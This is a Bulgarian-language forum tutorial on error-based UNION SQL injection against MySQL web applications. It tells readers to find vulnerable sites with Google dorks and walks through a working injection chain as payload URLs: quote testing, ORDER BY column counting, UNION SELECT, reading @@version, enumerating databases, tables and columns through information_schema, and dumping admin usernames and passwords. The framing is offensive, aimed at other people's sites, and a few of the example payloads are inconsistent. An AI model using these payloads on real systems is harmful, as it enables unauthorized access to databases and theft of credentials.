Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!
Въведение:
SQL
Injection е техника, която използва уязвимост
в системата, позволяваща да вземете
информация за база данни на дадено
приложение. Уязвимостта се проявява,
когато потребител въведе некоректно
филтрирани знаци (' # и други). SQL инжекцията
е позната още като SQL insertion attacks.
Полезни
доркове ( google ) , с помощта на които можете
да намерите уязвими сайтове:
Когато
търсите в гугъл, изберете си някой дорк
и сложете inurl: пред него. (Ако няма)
ПРОВЕРКА
ЗА УЯЗВИМОСТ
Например
взимаме сайт с дорк "index.php?id="
http://www.example.com/index.php?id=3
За
да проверим , дали е уязвим сайта, слагаме
знак ' преди или след 3
http://www.example.com/index.php?id=3'
или
http://www.example.com/index.php?id='3
Ако
сайтът е уязвим, трябва да излезе грешка
от вида :
Error
: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use
near '\'' at line 1
ВЗЕМАНЕ
НА БРОЯ НА КОЛОНИТЕ
След
като разберете дали сайтът е уязвим от
първа стъпка, трябва да разберем броя
на колоните. Най-лесният начин е да
използваме стринга "order by". Всичко,
което трябва да направите е да напишете
ORDER BY (номер на колоните)-- в URL бара след
края на линка. Направете го да изглежда
така:
Пример:
http://www.example.com/index.php?id=3
order by 1--
http://www.example.com/index.php?id=3
order by 2--
http://www.example.com/index.php?id=3
order by 3--
http://www.example.com/index.php?id=3
order by 4--
http://www.example.com/index.php?id=3
order by 5--
http://www.example.com/index.php?id=3
order by 6--
http://www.example.com/index.php?id=3
order by 7--
http://www.example.com/index.php?id=3
order by 8--
http://www.example.com/index.php?id=3
order by 9--
Да
кажем , че след последния ред
(example.com/index.php?id=3 order by 9--) получим грешка.
Това означава, че броят на колоните е
предходната цифра (8). Ако грешката е на десетото число, значи колоните са 9. Ако грешката е на 50, значи имаме 49 колони. Но едва ли ще случите на толкова много. Ако имате лоша
памет, ще е добре да си запишете някъде, защото ще ви потрябва по-нататък. :)
НАМИРАНЕ
НА ДОСТЪПНИ КОЛОНИ
Сега
като имаме броя на колоните, ние се
нуждаем от цифрите на колоните, откъдето
можем да вземем информация. Правим това
посредством "UNION" "SELECT" и броя
на колоните. Слагат се заедно в линка
така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8--
За
последна цифра допълвате до броя на
колоните. Пример: ако имаме 10 колони, ще
напишем на края на линка ...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--. Ако
имаме 15 колони ще напишем
...-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
и така нататък. Също така не забравяйте
да сложите "-" пред id номера.
След
като го направите, страницата трябва
да изглежда малко разхвърляна/развалена
и ще забележете 2 числа/цифри на страницата
(удебелени). Тези числа/цифри показват
от кои колони можем да вземем информация.
По-късно ще ги използваме, като ги
заменяме, така че ги запомнете/запишете.
Ще приемем, че ни излиза 3.
НАМИРАНЕ
НА ВЕРСИЯТА НА MYSQL БАЗА ДАННИ
Причината,
поради която се нуждаете от версията
на MYSQL е за да видите, дали си струва да
инжектирате. Ако версията е над 5.0
следвайте инструкциите. Ако е под версия
5.0 , ще се използва Blind SQLi , за което ще
напиша урок по-късно, така че наглеждайте
форума /профила ми/.
Сега
вземаме едно от числата, които открихме
преди малко и го заменяме с "@@version"
<запазена команда.
Това
: example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8-- Ще
стане http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8-- . След като заредите страницата, ще ви
излезе версията на MYSQL DB .
НАМИРАНЕ
НА ИМЕНА В БАЗА ДАННИ
Сега
ще инжектираме сайта и ще намерим имената
на база данните. Заменяме "@@version"
със "group_concat(schema_name)" и добавяме
+from+information_schema.schemata-- след последното
число и края на линка. Така че линкът ще
се промени:
example.com/index.php?id=-3+UNION+SELECT+1,2,@@version,4,5,6,7,8--
––––> http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,group_concat(version),4,5,6,7,8+from+information_schema.schemata--
Това
ще покаже имената на база аднните. Сега
за да намерим коя се използва, заменяме
"group_concat(schema_name)" с "concat(database())"
и махаме "+from+information_schema.schemata". Така че
линкът ще изглежда така:
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,concat(database()),4,5,6,7,8--
Това ще изведе името на база данните,
която се ползва. Можете да си я запишете.
Ще приемем, че ни дава primerna_baza_danni.
НАМИРАНЕ
НА ИМЕНА НА ТАБЛИЦИ
За
да вземем име на таблица от сегашната
база данни, трябва да заменим
"concat(database())" с "group_concat(table_name)"
и да добавим from "information_schema.tables where
table_schema=database()" между последната цифра и "--". Също така е желателно да премахнете
"+" -овете. Сега линкът ще изглежда
така:
http://www.example.com/index.php?id=-3
UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 from
information_schema.tables where table_schema=database()--
На
страницата трябва да се покажат имената
на таблиците. Можете да си ги запишете
, тъй като са важни за по-нататък. Ще
приемем за примерна таблица primerna_tablica.
НАМИРАНЕ
НА ИМЕНА НА КОЛОНИ
Това
е точно като взимането на имената на
таблиците. Само трябва да промените
"table_name" на "column_name" и
"information_schema.tables" на
"information_schema.columns". Линкът ще изглежда
така:
http://www.example.com/index.php?id=-3
UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8 from
information_schema.columns where table_schema=database()--
Така,
това ще ви даде имената на колоните.
Може да ги запишете.
Да
кажем , че ни даде следните имена на
колони:
admin_ime
admin_parola
ВЗЕМАНЕ
НА ИНФОРМАЦИЯ
Сега
можем да имаме името на базата данни,
имената на таблиците, имената на колоните.
Можем да ги обобщим в един код и да
получим информация от тях. За да направим
това ни е нужно:
http://www.example.com/index.php?id=-3
UNION SELECT
1,2,group_concat(име_на_колона,0x3a,име_на_колона,0x3a),4,5,6,7,8
from име_на_базата.име_на_таблицата--
Пояснение:
*
Заменете име_на_колоната с името на
вашата колона, която сте намерили.
*
0x3a ще сложи двуеточие (:) , за да раздели
информацията. Можете да сложите колкото
си искате имена на колони, важното е да
ги разделите подобаващо. Също заменете
име_на_базата.име_на_таблицата със
съответно: името на база данните и името
на таблицата, които сте намерили. След
това линкът ще изглежда подобно:
http://www.example.com/index.php?id=-3
union select
1,group_concat(admin_ime,0x3a,admin_parola,0x3a),2,3,4,5,6,7,8 from
primerna_baza_danni.primerna_tablica--
Сега
имате основни знания за SQLi. Трябва да знаете, че този метод не важи за всички видове грешки в SQL. Има и вариант за изтегляне на информация чрез Blind SQLi, където нещата стават по-сложни. За това ще напишем урок по-нататък! Наслаждавайте
се. Вложих много труд в тази статия, така
че се надявам да ви хареса :)
Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!
Внимание! Нека уважаваме труда на другите! Моля, не лийчвайте! Имате право да копирате урока, само при съгласие на администратор на NukerBG!